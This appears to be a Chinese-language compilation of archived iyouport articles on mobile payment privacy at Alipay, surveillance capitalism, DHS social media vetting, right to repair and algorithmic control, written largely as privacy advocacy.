收集的支付数据（例如，一个人收到钱的频率或该人经常花费的多少）可以被分析并用于直接营销目的或出售给第三方。随着越来越多的国家转向无现金社会模式，企业甚至银行拒绝现金，MPS 在未来将变得极为重要。

虽然这些平台为用户提供了更多便利和高效的交互，但它们也带来了涉及个人数据传输，收集和存储的风险。一个平台上的大量个人数据也增加了这些 **MPS** 将成为寻求获取商业，情报，国家安全，执法，反洗钱或恐怖主义融资目的的个人信息的执法机构日益增加的目标的风险。在分析高度集中的移动支付提供商如何控制敏感用户数据方面，中国提供了一个复杂而富有启发性的案例研究。

中国的移动支付系统

「图」

也许最迅速、最广泛采用移动支付的最明显例子就是中国，2015 年支付宝（由阿里巴巴分拆出来的蚂蚁金融公司的子公司）拥有约 4.5 亿用户和 68％的市场份额，而腾讯的财付通正在快速增长，占据了国内 MP S市场 20％ 的份额。购买国内和国际旅行机票，预约医生，以及呼叫出租车，现在都可以在个人移动支付应用程序内完成。MPS 在中国的流行，使得医院、公共交通系统甚至大使馆都能依靠它们为用户服务。这些应用程序正在欧洲、东南亚和其他司法管辖区扩展其支付和位置跟踪服务，以满足海外中国游客和本地用户的需求。

MPS 平台在中国的飞速发展，让政府迫不及待地填补了监管空白，这引发了一些问题，即：哪些自上而下的规则来保证中国 MPS 的安全和隐私，以及它们可能给用户和与 MPS 合作的中国和海外公司带来的后果。

在一个仍在努力设计有效的数据隐私保护系统的国家，隐私法律、法规和政策的实际执行问题也很突出。鉴于中国政府最近有兴趣利用大数据的力量进行普遍的社会监督和管理，MPS 公司实际从用户那里收集哪些类型的信息？他们如何使用这些信息？他们实施了哪些内部政策来确保用户的数据隐私权受到尊重？这些信息有多安全？如何与第三方，执法机构和政府组织分享这些信息（例如，检测洗钱和恐怖主义融资）？

案例研究：支付宝

「图」

支付宝是中国使用最广泛的 MPS 应用程序，也是海外扩张最雄心勃勃的应用程序。该应用程序经常自动推出新的技术功能，并参与试点计划，使用从应用程序派生的数据来生成个人的信用评分，创建一个

全国性的社会信用系统。

阿里巴巴集团是一个位于中国的电子商务平台，企业和消费者可以通过该平台向彼此出售和购买。支付宝于 2004 年作为阿里巴巴集团的支付服务推出，并称自己是“支付处理和托管服务”的提供商，可用于处理阿里巴巴平台上的支付。阿里巴巴平台上的大部分交易都使用支付宝。

尽管支付宝最初是在开曼群岛注册成立的阿里巴巴的子公司，但它在 2011 年被分拆为蚂蚁金服下的一个独立实体，以遵守中国的许可规定，这些规定使外资公司无法经营中国的非银行支付公司。支付宝现在是一家中国国内实体。蚂蚁金服与阿里巴巴达成协议，管理双方之间的关系：支付宝以优惠条款向阿里巴巴提供支付服务。

2016 年，支付宝表示，它正在扩展到欧洲，允许海外的中国游客在国外支付商品和服务费用。支付宝国际（Alipay International）总裁 Sabrina Peng 表示：“未来五到十年内，不仅在中国，还在其他国家，目标是吸引20亿人”。为了实现这一目标，支付宝推出了一个国际版本，用于生活在中国以外的用户。支付宝为中国用户保留了一个单独的国内版本。

正如公民实验室在报告中所展示的“一个应用，两个系统：微信如何在中国和国际上使用同一个审查政策”，国际版是从国内版分离出的单个中文应用程序，每个都具有不同的功能，并不总是引起人们的注意，这不是一个新现象。

该报告的调查结果提出了一个问题，即支付宝的中文版是否正在跟踪出国旅行的中国用户，而没有通知他们正在进行此类监控。

零售数据跟踪

「图」

支付宝在中国提供一些与众不同的服务，包括与知名的外国零售商和酒店以及中国中央政府的协调。现在，在英国、法国、德国、泰国、日本和台湾的中国游客可以在这些接受支付宝的国家找到销售点（POS）零售商。该应用程序为用户提供地理位置，并为提供额外的附近的观光建议。离开这几个欧洲国家后，中国游客现在可以在海关申请支付宝支付购物的退税，直接退款到他们的支付宝账户。

用户在国内外交易留下的数据踪迹可以描绘出他们的消费金额和消费

时间的细节情况。由于公司获得的公民数据丰富，支付宝与中国政府分享此类数据的程度令人不安。

此外，随着支付宝和类似平台对用户越来越重要，可能会出现政府暂停这些账户的威胁。例如，政府可以要求支付宝暂停活动人士和其他个人的帐户，有效地钳制言论自由。

需要更多来自 MPS 提供者的信息，例如透明度报告，以告知用户与政府和执法机构的访问和合作程度。特别是当支付宝和类似的社会信用分发服务与中国政府更紧密地合作时，这种披露极不可能发生。正如“一个应用程序，两个系统”微信报告所显示的那样，国家可以通过这些应用程序对海外中国公民进行“治外法权”控制，这对于中国政府是非常有价值的，不可能放弃。

崭新且越来越个性化的服务

「图」

支付宝开始提供的非传统服务包括医院账单支付，学生贷款支付和管理，以及“爱心捐赠”的新形式的健康保险。支付宝与中国国家开发银行（国家政策银行）合作提供利息——免费向大学生提供贷款，支付宝再次管理申请和还款流程。

在与支付宝配对的医院，该应用程序的“后付费”功能允许没有健康保险的人支付医疗费用。还有计划与保险公司合作，使有保险的人只需支付剩余的医疗费用。支付宝还与医院合作，提高医疗服务效率，“客户可以将支付宝账户与医院服务联系起来，让他们在网上注册，获取医疗报告，当然还可以使用支付宝钱包付款。”

这些例子引起了对支付宝收集的个人数据类型以及如何使用这些数据的担忧。例如，收集的健康记录可以由附属阿里巴巴的保险公司访问，影响用户获得健康保险的能力。此外，应用内学生贷款和医疗服务正在规范高度个人数据的共享，并带来重大的数字安全后果。

支付宝适用的风险环境

「图」

如何保护数据？

「图」

鉴于支付宝已经开始提供的新功能中，存在前所未有的数据收集范围以及相关的潜在安全问题，因此必须反思过去公司安全措施失效的事件。值得注意的是，2011年当支付宝在 PC 上使用时，该公司已与 UC 浏览器合作，该浏览器的安全漏洞已被公民实验室（Citizen Lab）已经调查和公布。2011年12月28日，据报道有1500万至2500万支付宝帐户遭黑客入侵。该公司的公开声明是，只有帐户 ID，而不是密码和财务信息被盗。

2014 年1月，该公司一名前员工下载了 20GB 的用户数据，包括支付宝用户名、联系信息和购买记录，然后他和同伙将其出售给竞争对手，支付宝为此道歉。同样在 2014 年，行业杂志“中国信息安全”发表了一篇文章，详细解释了黑客组织成功进行欺骗尝试的过程，该欺骗尝试将恶意软件植入到真正的支付宝安全更新中。这种欺骗使他们“入侵网站并进行两种类型的手机网络钓鱼，以获取用户的真实姓名、身份证号码、支付宝帐户密码、其他信息，最后是他们的钱。”

在 2015 年，财新报道称，一个支付宝用户在新浪微博上称，在他不知情的情况下，支付宝已被用于授权向五个不同的电子商务网站付款。大约在同一时间，在对这篇文章的评论中，其他用户声称他们的帐户发现了同样的问题，并表示他们需要联系支付宝以删除这些错误的费用。

目前还不清楚这是否是由于黑客攻击造成的，支付宝发言人只是将其称为“设计缺陷”。同样的财新文章指出，支付宝之前曾与中央银行和其他中国监管机构发生过分歧，鉴于该公司倾向于采用新的技术特征，而不是国家可以验证其安全性的速度。

2016年初，Quora 的中文版上有一些名为知乎的帖子，声称支付宝应用程序秘密拍摄了用户的照片以及下载和执行未经授权的文件。在某些情况下，提供了这些过程的屏幕截图。

最后，在2017年1月10日，支付宝在他们的官方新浪微博帐户上确认他们已经解决了一个主要的安全问题，用户可以通过识别他们最近的购买和他们认识的人来重置他们的密码，这一功能使朋友可以在未经授权的情况下访问另一个帐户。

该公司完全不合适的解决方案是仅启用这些形式的用户验证，以便从个人用户的个人电话重置密码。考虑到应用收集进行金融和其他交易的个人用户数据的范围和数量，支付宝的数据泄露历史以及公司对用

户安全的傲慢态度令人不安。

QR 码和 NFC

「图」

中国支付宝和其他移动支付服务中的许多冲突都与监管机构有关，政府认为这些功能并不完全安全。例如，从2012年，支付宝开始使用快速响应（QR）码，用户在出租车和POS商家进行支付。2014年3月，由于对安全漏洞的担忧以及国家无法对其进行监管，中国人民银行（PBoC）下令腾讯和阿里巴巴暂停使用QR码和虚拟信用卡进行支付。

引述的风险包括可以轻松复制虚拟信用卡，通过使用 **QR** 码支付进行身份识别和财务盗窃，以及将条形码与钓鱼网站链接的能力。当时政府还表示担心使用虚拟信用卡可能会破坏向全国范围内实名注册的转变。

也是在此期间，国有银行对第三方支付工具可以允许用户转移的金额设置上限。新华社一篇关于暂停的文章指出，在涉及二维码的交易过程中，曾发生过用户个人信息和资金被盗的事件。中国人民银行的冯新亚表示，银行“要求相关在线支付服务提供商提交分析其虚拟信用卡和二维码支付服务安全性的文件……我们将进行安全风险评估”，以及该商家的二维码使用可能很容易被改变，而是用于链接到钓鱼网站。政府还限制用户可以在移动支付应用程序中花费多少资金来减少风险。国家监管机构最终没有明确解释为什么最终允许支付应用程序恢复使用此技术。

QR 码的临时暂停促使支付应用程序寻求安装基础设施以使用近场通信（NFC），这涉及为智能手机和供应商配备该技术，并了解系统如何将磁感应用于彼此相邻的设备进行通信。目前看来，中国主要的移动支付应用程序同时使用 QR 码和 NFC。

关于 QR 码和二维码阅读器的安全和隐私问题的研究，提出了中国政府最初可能关注的一些问题。一项针对 Android 和 iOS 手机上流行的二维码阅读器应用程序的研究发现，“许多二维码扫描器将用户数据转发给开发人员，关于扫描内容，扫描时间，甚至是当时智能手机在全球定位系统（GPS）的坐标，以及特定应用程序开发人员可能感兴趣的众多其他数据元素。“

研究支付宝的 QR 码扫描功能的安全性将在未来进行，研究人员可以

开始询问应用程序的阅读器是否是能够识别已被篡改的 QR 码，以便将用户引导到有时会要求提供信用卡信息的恶意网站。支付宝是否有黑白单系统，以防止重复尝试网络钓鱼？虽然支付宝可能通过其他方式收集相同的数据来提供基于位置和附加的服务，但是对于每天进行数百万笔交易的应用内 QR 码阅读器的安全性提出质疑仍然很重要。

生物识别技术

「图」

移动支付应用程序与政府之间的监管斗争可能会继续出现，特别是在生物识别支付身份验证等新功能方面。

2015年，支付宝自己的首席安全架构师徐天表示，“通过使用指纹和面部识别，以及其他形式的生物识别认证，我们将提升用户的操作体验和安全感，大大提高了帐户被盗的门槛和成本”。

早在2014年，支付宝就与华为合作提供支付服务，用户的指纹可以验证对后者的 Ascend Mate 7 手机的支付，这种合作关系可能引起人们对华为可能与中国军方的联系以及与受制裁国家的交易的担忧。几个月后，指纹认证系统也扩展到了 iPhone。第二年，阿里巴巴的马云展示了一种潜在的新支付宝功能，即“微笑付费”，用户可以使用面部识别来验证付款。

据财新称，2015年3月，“中国人民银行已经开始致力于阿里巴巴的要求，此前中央银行在1月份与在线技术专家会面。中央银行还开始制定一个监管框架，为实验计划打开大门，这些实验计划为希望在线开立银行账户的互联网用户测试生物识别技术的安全性和实用性”。2015年5月，中央银行宣布了必须评估生物识别数据的传输，并确定其使用的技术标准，然后才能在传统银行中使用。这对移动支付应用程序和其他非传统银行服务的反映程度尚不清楚。

投资安全

「图」

重要的是还要考虑支付宝过去和现在为保护用户安全所做的努力。

据新华社报道，“2013 年，支付宝屏蔽了大约15万个网络钓鱼网站，并协助警方打击涉及金额超过1000万元的16个网络团伙，导致35人被捕”。2014年4月，支付宝设立了4000万人民币基金。该公司表示

将用于与政府，银行、其他电子商务公司和安全软件提供商合作，以保护用户的安全和数据。阿里巴巴小额信贷服务集团副总裁表示，该基金将专注于“反洗钱，反恶意软件和用户信息保护”。

2014年，支付宝还与上海863信息安全产业园有限公司共同投入1000万元资金，致力于改善信息安全。这些投资的结果尚未公布，正如支付宝2014年宣布将推出一项“与所有参与互联网安全行业的组织分享其风险控制能力……以帮助他们提高能力和加速他们的研究和开发过程”的计划，目前尚不清楚这样的计划将如何在实践中运作，或支付宝通过这些近期投资改善用户数据保护所做的可衡量贡献。

结论

「图」

支付宝举例说明了 MPS 如何提供有可能收集高度敏感的个人数据的服务。MPS平台在中国取得的速度未能解决许多关于用户数据隐私和安全如何受到保护的问题。支付宝在中国的成功可能会激发世界其他地方类似应用的采用，因此值得安全社区和政策制定者的密切关注。

随着中国的金融科技将应用生态系统的模型转变为更加集中，一站式的中心，满足所有人的需求，至关重要的是要质疑作为数亿公民数据保管人的公司正在做些什么以确保它是被合法获得和使用。以前的数据泄露和支付宝安全性的失误表明了对改进安全实践的强烈需求。

CASHLESS SOCIETY, CACHED DATA

Are Mobile Payment Systems Protecting Chinese Citizens’ Data?

原文

你只是寡头们营造的数字种植园里的农奴：改变被奴役的命运 - iyouport

你应该了解的现实监视资本主义的世界

【2019年4月9日存档】专注于地缘政治已经是愚蠢的一叶障目。 多年后对中国和美国公民来说真正重要的并不是哪个国家在国外拥有更多的军事基地，而是，普通人的日常生活会怎样 —— 无论在世界上任何地方，你只是寡头们营造的数字种植园里的农奴。

本文来自 Mike Krieger 的 Liberty Blitzkrieg 博客。

我过去几年的很多内容都集中在我看到的重大地缘政治变化上，这种宏观视角得出了两个重要结论。首先，这个星球正在从一个几乎全部由美国主导的单极世界转向了一个更加多极化的世界；其次，地缘政治格局的这种根本性转变，再加上即将出现的人类历史上最大规模的全球债务泡沫，将导致世界经济和全球金融体系的重置。

越来越清楚的是，这一重大历史转变中的两个主要角色是美国和中国（也就是IYP多年来强调的高堡奇人）。虽然我猜测这两个经济巨头如何能够在我们所知的全球化结束时（并且可能是一个分叉的全球经济局面）带来这种紧张局势，但我花了更少的时间谈论个别国家的内部情况会是什么样子。这是一个重大的疏忽，因为，多年后对中国和美国公民真正重要的并不是哪个国家在国外拥有更多的军事基地，而是普通人的日常生活会怎样？

在这方面，中国和美国在咄咄逼人的政府和普遍存在的监视技术的毁灭性方面非常相似，非常的反乌托邦大跃进。在过去的一周里，我读了几篇关于这个主题的优秀文章，这使得这个问题成为了我思考的首要问题。换句话说，如果“我们人民”最终被我们如此热切地接受和期待的技术所控制、监视和完全征服，那么，不论是谁最终赢得地缘政治风险游戏都是完全无关紧要的—— 就如高堡奇人的德国和日本，不论你逃到其中哪个国家，结果都是一样。

如今每个人都能意识到在中国发展迅速的令人难以置信和毛骨悚然的社会信用评分体系。大多数美国人都知道这事，他们认为美国不会发生这样的事吗？不，事实要复杂得多，而且在某些方面我们美国人至少正在朝着类似的方向前进。

我们生活在这样一种情况下：我们仍然享有纸面上的宪法保护，如言论自由，但是，由于绝大多数的民主讨论都是由几个可以任意禁止言论和思考的科技巨头裁决的，宪法在实践中受到了彻底的侵蚀。正如我在去年的文章中所指出的那样，美国人需要以美国宪法中所载的权利为指导的社交媒体：

如果你像我一样，也认为美国宪法中所载的公民自由对于我们所有公民来说至关重要，那么一些不遵守这些原则的私营技术公司占据主导地位这一事实定然是不可接受的。

但是，现实中甚至比这更糟糕。科技巨头以某种方式与政府或政府资助的机构紧密合作—— 形成军事-工业综合体，所以简单地将它们描述为私营公司并不是真正准确的。

去年，亚马逊宣布开启新的AWS Secret Region，这是该公司2014年从中央情报局获得的一份为期10年、价值6亿美元的合同的结果。这使得亚马逊成为“全系列”云服务的唯一提供商。将数据分类为：普通、敏感、保密和绝密。

一旦 CIA 的计划开始运行，NSA就会迅速效仿，宣布自己的集成大数据项目。去年，该机构已经将其大部分数据转移到了一个新的分类计算环境，称为智能社区 GovCloud，这是一个集成的“大数据融合环境”，正如新闻网站 NextGov 所描述的那样，它允许政府分析师将所有可用的数据源—无论是否分类，统统连点成线。详见《可怕的“连点成线”—— 监视之恶（四）反恐歧途》。

IC GovCloud 的创建应该让任何了解这些系统有多强大的人、以及自己对传统形式的监视本身具有什么抵制力的人，感到震惊和寒意。而且，亚马逊的 IC GovCloud 很快会遇到微软Azure 政府云服务项目的竞争，该服务专为17家美国情报机构量身定制。预计亚马逊和微软都将成为五角大楼监视云系统的主要竞标者，即 “联合企业防御计划 - JEDI”：-一个赢家通吃的合同，可能至少价值100亿美元。

在华盛顿哥伦比亚特区的彩虹尽头有如此众多的金元宝，对于科技公司来说，将数据转交给间谍机构似乎是小事一桩—— 利润而已。这就是正在出现的威胁：钱。这是我们所有人现在就应该考虑的事，在

为时已晚之前。

亚马逊收集和分析消费者的一切数据、并销售带有麦克风和摄像头的各种消费者家用设备，对于监控机构来说这是最诱人的机会，这一机会能让当年的斯塔西做梦都会笑醒。

这不是亚马逊一家的问题，所有科技巨头在此都一样，对自由、隐私和人类尊严构成了真正的威胁。是的，情况很严重。

这些公司如此垄断互联网本身的运作方式，几乎没有人能够彻底摆脱它们。例如，一名 Gizmodo 记者最近尝试摆脱亚马逊一周，结果发现，这是不可能的。从本质上讲，如果你想使用互联网，你就无法真正避开这些监视巨魔。

我确信我们可以扭转局面。奥威尔式的巨型监视公司以及与之合作的政府大部分都是在秘密背景中创建的，而大多数公众并不真正了解他们的商业模式是如何运作的，以及无处不在的监视带来的可怕现实世界影响、巨额利润和1984。我们只需要醒悟、只需要揭露它让更多人明白，就能打破这种阴暗将所有人联合起来以抵抗它。虽然许多人认为现在想办法已经太迟了，但我说，它永远不会太迟。即使对中国而言也是一样，你永远不知道会发生什么。

如今的社会正朝着恶的道路狂奔，大多数政府都乐于鼓励监视并与技术公司合作。

无论我们选择什么：改变这一局面、还是继续在寡头建造的数字种植园中做一个愚蠢的农奴不停地点赞分享暴露自己最致命的弱点，把这样的世界留给我们的子孙都是不合情理的。

Krieger: We're All "Just Manipulated Serfs On An Oligarch's Digital Plantation". To leave such a legacy to our children and grandchildren is unconscionable.

原文

你如何证明你是好人？强行监控社交媒体的含义 - iYouPort

你应该了解的现实你的反乌托邦在线生活阴云密布

想想看，如果你的社交媒体帖子成为了判断你“是好人还是坏人”的关键证据，会发生什么？

上面的问题并非玩笑，它已经迫在眉睫。

如果不能阻止美国队长对社交媒体监视的大规模实践，全球其他国家—尤其是专制政府—将非常容易扩展这一压制手段。在中国，试想，你的 tweets 和 Facebook 帖子被与“社会信用评分”强行挂钩的结果是什么？

而且这不仅仅意味着您自己的人权问题，正如 techdirt 所指出的，这一审查是拉网形式，扫描与目标帐户互动的所有“朋友”、家人和社交媒体联系人的信息。

而且，大量的信息将被长期保留（几十年）当局认为万一有一天它可能与正在进行的调查“相关”呢？

「图」

「图」

以下是纽约大学法学院布伦南司法中心的报告。

国土安全部（DHS）正在迅速扩大其对社交媒体信息的收集，并用它来评估外国人和旅行者有可能带来的“安全风险”。（关于“社交媒体情报”）

今年是一次重大扩张。

国土安全部检查的签证申请将包括对每年约1500万旅客收集的社交媒体信息的审查。

⚠社交媒体可以提供大量关于个人的信息，包括个性偏好、政治倾向、和宗教观点、身心健康以及他们的朋友和家人的身份。

并且，社交媒体信息很容易被误解（因开玩笑而被视为威胁的案例已经多次出现），对社交媒体的大规模监控会给隐私和言论自由带来严重风险。

此外，尽管急于实施这些计划，但很少有证据表明它们实际上符合它们所部署的目标。

虽然官员们经常在国会作证，强调国土安全部使用社交媒体数据的一些方式，但他们很少全面了解或讨论此类计划的有效性及风险。

国土安全部对社交媒体信息的利用程度隐藏在充满行话的通告中，关于文件存储系统的变化只传达了基本活动的模糊概要。

为填补这一空白，本报告旨在通过关联新闻报道、通过信息自由法案请求获得的信息、隐私影响评估、记录系统通知（SORN），制定部门收集、使用和共享社交媒体信息，以及部门手册、政府合同和其他公开文件。

鉴于国土安全部不断扩大社交媒体监控计划的使用范围，让公民广泛了解该部门利用社交媒体的方式至关重要。

⚠从社交媒体帖子中收集的个人信息被用来针对异议人士，并使宗教和少数民族受到加强的审查和监视。

被国土安全部计划针对的旅行者包括美国公民和其他所有国家的旅行者。

虽然该部门的移民审查程序表面上是针对外国人的，但是，他们也会故意纳入外国人的美国朋友、家庭成员和商业伙伴的信息。

穆斯林特别容易受到攻击。根据皮尤2011年的一项调查（随后在2017年也进行了类似的调查），超过三分之一的美国穆斯林人口因为信仰问题而被机场保安单独挑出来。

这种做法正在面临法律挑战。

根据政府文件，原告之一，美国伊斯兰关系委员会佛罗里达分会执行主任 Hassan Shibly，从2004年到2011年间，在边境被针对了至少**20**次。

他说他被问到诸如“你是否属于任何伊斯兰部落？”、“你造访某个特定的清真寺吗？”……等等这样的问题。Shible 的遭遇绝不是独一无二的。

特朗普政府通过诸如穆斯林禁令和对难民和签证申请人实施“极端审查”等政策，将穆斯林排除在其移民议程的核心内容之外。

2018年泄漏的国土安全部报告草案表明，政府正在考虑将年轻的穆斯林男子标记为“有风险的人”，他们被迫接受密集的筛查和持续的监视。

一旦实施，这样的政策将影响数十万人。

更一般地说，⚠社交媒体监控—就像其他形式的监控一样—将严重影响人们在网上的言论，导致申请签证的人以及家人和朋友不得不进行广泛的自我审查。

在实证研究中已经充分记录了监视对言论自由的有害影响（详见“监视之恶”系列）即使是那些说他们“没有什么可隐瞒”的人，当他们知道政府正在偷窥自己时，他们也很可能会在网上进行不由自主的自我审查。

正如司法部长 Sonia Sotomayor 在2012年最高法院案件中对无障碍使用GPS跟踪技术所提出质疑的那样：

“政府的监视让人们感到不寒而栗，使人们失去自由表达的能力。政府无限制地收集揭示私人身份方面的数据的权力很容易被滥用。”

尤其是，国土安全部用于监控社交媒体的试点计划在识别国家安全威胁方面显然并未能成功。

2016年，国土安全部开展了多项社交媒体监控计划，其中一项由ICE运营，另外五项由美国公民和移民服务局（USCIS）运营。

2017年2月国土安全部检查员对这些试点项目的总体审计发现，该部门没有衡量其有效性，因此没有足够的基础来制定更广泛的举措。

更为严厉的反驳是美国公民及移民服务局自己对计划的评估，这表明监视对于“安全”来说在很大程度上是无效的。

根据国土安全部为2016年底即将上任的新政府编写的一份简报，用于审查难民的四个方案中有三个，“账目中的信息并未产生与国家安全

关切的明确联系，即使对于那些根据其他安全检查结果被发现构成潜在国家安全威胁的申请人来说也一样。”

该简报确实表明 USCIS 遵守了自己的规则，该规则禁止仅仅基于开源信息（例如社交媒体信息）拒绝申请，考虑的并非是隐私人权，而是因为“其固有的数据完整性缺乏”。

「图」

「图」

事实上，反驳试点计划的一个关键点是，当局无法将社交媒体账户与被审查的个人进行可靠的匹配，即使找到了正确的账户，也很难判断“具有任何确定性”的“数据的真实性、社会背景、以及安全指标。

该简报明确质疑了这些计划的整体价值，并指出专门的人员“专注于进行大规模的社交媒体筛选，导致他们无法进行更有针对性的强化审查”。

国土安全部人员面临的困难并不令人惊讶；试图根据社交媒体做出判断不可避免地受到文化理解的困扰。

例如，在2012年，一名英国国民被阻止进入洛杉矶机场，当时国土安全部代理人误解了他在 Twitter 上的帖子，他写着他将“摧毁美国” —— 这其实是俚语，意思是参加派对 —— 还有“挖出玛丽莲梦露的坟墓” —— 这不过是一个开玩笑模仿电视节目。

这还是英国的案例呢；正如美国移民局的试点项目所表明的那样，当所使用的语言不是英语并且文化背景不熟悉时，解释就更难了。

如果国务院目前计划对1500万旅行者进行社交媒体筛查，政府机构必须能够理解193个国家的语言（超过7,000种）以及相应的文化规范。

社交媒体上的非语言交流更带来了另一系列挑战。正如布伦南中心和其他34个民权和公民自由组织在2017年5月致美国国务院的一封信中指出的那样 ：

如果 Facebook 用户发布了一篇文章关于联邦调查局说服年轻孤立的穆斯林人口发表声明抵制ISIS，而另一位用户“点赞”了这篇文章，那意味着什么？他是否感谢发表、还是表明对FBI实践的支持、再或者仅仅是在把问候和爱心送给一个家庭受影响的朋友？你无法理解。

当审查过程高度自动化时，所有这些已经很大的困难都会再次加剧。

显然，使用简单的关键字搜索来识别威胁是没有用的，因为它们会返回太多的结果，其中许多都是无关紧要的。

自然语言处理，即 用于判断文本含义的工具，也不足以完成这项工作。

研究表明，这些工具实现的最高准确率约为80％，顶级工具的准确率通常70–75％。这意味着通过自然语言处理分析的至少20–30％的帖子会被误解。

国土安全部高级官员建议的用于分析社交媒体的语气和情绪的算法甚至更不准确。

最近的一项研究得出的结论是，它只能在27％的时间内根据用户的Twitter 帖子预测政治意识形态。

当被分析的语音不是标准英语时，准确性会进一步下降。

事实上，即使是使用非标准方言或行话的英语使用者也可能被自动化工具误认为是不同的语种。

至关重要的是—正如上面讨论的USCIS试点计划所示—算法通常无法制作许多DHS移民计划所要求的主观评估类型，例如某人是否对公共安全或国家安全构成威胁，或者某些信息是否“贬意”。

尽管在有效性方面存在严重缺陷，并且批评者对于针对某些政治观点和信仰的潜力有充分的理由，但国土安全部仍在努力推行监控社交媒体的计划。

该部门的态度也许正如一位ICE官员所总结的那样，他承认虽然他们还没有在社交媒体上找到任何东西，但是“你永远不会知道，社交媒体上实际会有些什么。我们要检查一下。“

要阻止滥用需要了解**DHS**收集此类信息的整体系统，如何使用这些信息，如何与其他机构共享，以及如何在政府数据库中保留这些信息（通常持续保留数十年）。

总之，国土安全部充斥着社交媒体帖子，但没有证据表明这些信息到底能做什么有用的事。

唯一可以保证的是侵犯权利，迫使被审查瞄准的人进行自我审查，以及许多人仅仅因为他们的宗教信仰或国籍而受到攻击。〇 广告

原文

你所有昂贵的电子设备事实上全都是租来的 - iyouport

你应该了解的现实你我的灾难现实

【2019年11月1日存档】如果你不能自行控制你购买的东西，那么你就没能真的购买到它们。不论你花了多少钱……

十年前，亚马逊突然从其美国客户的 Kindles 中删除了 George Orwell《1984》的副本。

就如这部反乌托邦小说中描述的“记忆洞”，亚马逊此举迅速激发了愤怒和嘲笑。

但是，事后看来，亚马逊的行为已经在十年前暴露了一个惊人的预兆，这种转变自那时起已经变得更加明显了：即 我们只是一个租户社会。

在这种特殊情况下，亚马逊称这些书籍是被一家实际上没有权利的供应商添加到 Kindle 商店的。

亚马逊的发言人称：“当权利持有人通知我们时，我们从我们的系统和客户的设备中删除了非法副本，并赔偿了客户”。

但是，该公司无法改变的一件事就是，此举展示了其绝对的权力。

即使是最大的传统零售商也很难想象会直接进入人们的房子并收回他们已经卖给人们的东西。而这些寡头就能做到。

今天，我们可能认为自己“拥有”的东西是因为我们付了钱并将它们带回家的，但是，只要它们运行软件或具有数字连接，卖方就会继续控制产品。

正如我们在上个月这篇文章中所分析的，详见《地主2.0：科技的新食利资本主义》。

我们只是“我们自己”的物品的租户，还是在真正的所有者的恩典之下。

当然，所谓的“智能”联网机器确实有很多好处。

现代化的洗衣机可以感知水位和湿度，并可以调节旋转的时间，让你的衣服在适当的干燥程度下完成洗涤；汽车更省油了，因为其配备的计算机可以优化其操作的许多方面，从燃油喷射到制动 …… 所有这些对环境和钱包都有好处。

但是，这不是全部事实。

大公司正在使用连接性和嵌入式的智能系统来增加他们的利润并尽可能多地控制原本可以侥幸逃脱的控制。

也许最令人震惊的例子当属 John Deere 拖拉机了 —— 那些标志性的、明亮的绿色巨人，在大片土地上轰鸣，收割小麦、玉米和大豆。

几代人一直在农庄里自己修理拖拉机。

但是现在，在推动建造更加自动化、布满传感器的农业设备方面，John Deere 已经在其拖拉机上安装了严格的软件锁，迫使客户必需通过该公司的维修店才能获得修理。

农民们抱怨说，即使是简单的维修，也要被收取过高的费用。

在收获季节，他们失去了前往维修店的关键时刻。

绝望的农民们已经开始在互联网论坛上闲逛，寻找可以绕过 **John Deere** 锁的软件，这些锁阻止了他们维修自己购买的机器。

这种感受你一定不陌生。

苹果公司也发起了一场焦土运动，反对那些大胆修理产品或更换电池的人。

2017年时人们发现该公司正在用旧电池秘密控制iPhone，从而降低其性能。

苹果公司表示，这样做只是为了防止老旧手机彻底崩溃。这一举动的技术角度是有道理的；但是，这是秘密操作的事实并没有道理。

并且很难忽视这种方式可能给该公司带来的巨大利益。

实际上，手机速度越来越慢的用户不得不去购买新设备，这让苹果公司再次增加了已经很大的利润空间。

丑闻曝光后，尴尬的苹果公司提供了廉价的替换电池。事情很快就变得很清楚了。

新 iPhone 销量下滑；蒂姆库克告诉股东，增加维修是这一趋势的“因素”。

据报道，最近苹果公司与亚马逊达成协议，从亚马逊市场上删除了“未经授权” 的苹果产品翻新商 —— 那些转售维修过的机器的人。

作为回报，该公司将让亚马逊销售新的苹果产品：这是两大巨头的双赢，但是消费者的全输。

苹果还迫使回收商粉碎旧的 iPhone 和 Macbook，而不是重复使用他们的零件和材料。这不仅对消费者而且对环境都是坏事。

而且这不仅仅是对价格和利润率的争夺。

想想看，当您对汽车、电话或其他物体采取了公司总部不喜欢的行动时，会发生什么？

所有联网设备都可以简单地按命令进行操纵。例如，当表面上的所有者在付款期限三天内没能及时支付时，汽车就被固定了。

所谓 “未经授权维修”的 John Deere 拖拉机同样被这样变砖了。

这种情况从什么时候开始的，在家用电器成为间谍监视我们一举一动之前的多久？如果医生不想让你喝第七杯咖啡，咖啡机还会在第六杯之后正常工作吗？

确实，复杂小工具的维修有时可能需要由持证专业人士进行。但是公司完全可以扩大能够完成工作的专业人员规模，而不是更加保密地和独家地控制。

对于运行软件的设备来说，连接也是必要的；需要修复错误并更新软件。

但是，没有任何理由认为这是一个无限制的许可，可以允许公司随意

阻止设备或删除其内容。

今年3月，美国参议员和民主党总统候选人伊丽莎白沃伦呼吁国会通过一项“国家维修权法律”，“允许农民自己修理设备，而无需寻求授权代理人。”

但这不仅仅是农民遭遇的问题。

这是我们所有人遭遇的问题。

我们作为数字租户的权利远远少于我们作为房地产租户的权利，后者的驱逐至少受到正当程序的约束。

如果我们购买了这件东西，那这东西就是我们的。我们不应该让所有权落在1984的“memory hole”里。〇

WE ARE TENANTS ON OUR OWN DEVICES

原文

你正在如何被操纵：这是每个人都难以躲避的无形专制【video】 - iyouport

你应该了解的现实你我的灾难现实技术暴政监视资本主义的世界算法暴政

【2019年11月21日存档】这一系列视频展示了 IYP 曾经详细分析过的很多致命问题。视觉呈现方式更为直观，更有吸引人，希望人们能从中获得深刻的见解。

半岛电视台做了一个系列，共5部分，探讨当下全世界面对的算法专制究竟是一个什么样的噩梦。

本文汇集这些内容，并关联中文文字版，帮助您更好的理解它们。

1、“相信我，我是算法”：

算法不是中立的。它们充满了偏见、误解和人类固有的歧视。那么我们还如何能相信它们？

您也可以参见 IYP 曾经做过的文字版相关内容：

- 《算法专制》
- 《看不见的独裁》
- 《国王们的晚宴》
- 《硅谷巨头如何利用算法操纵墨西哥选举？》
- 《媒体巨头和硅谷的武器化算法沉默异议》
- 更多……

信任是人类所有关系的基础 —— 不仅仅是与我们的家人和朋友之间的关系，我们也在用金钱的成本信任银行、信任医生持有我们私密的个人信息。

但是，如今这一切都是算法驱动的。

在算法驱动的世界里会发生什么？

随着越来越多的决策通过这些复杂的代码代替人类的个人意识做出决定，出现的问题是不可避免的。

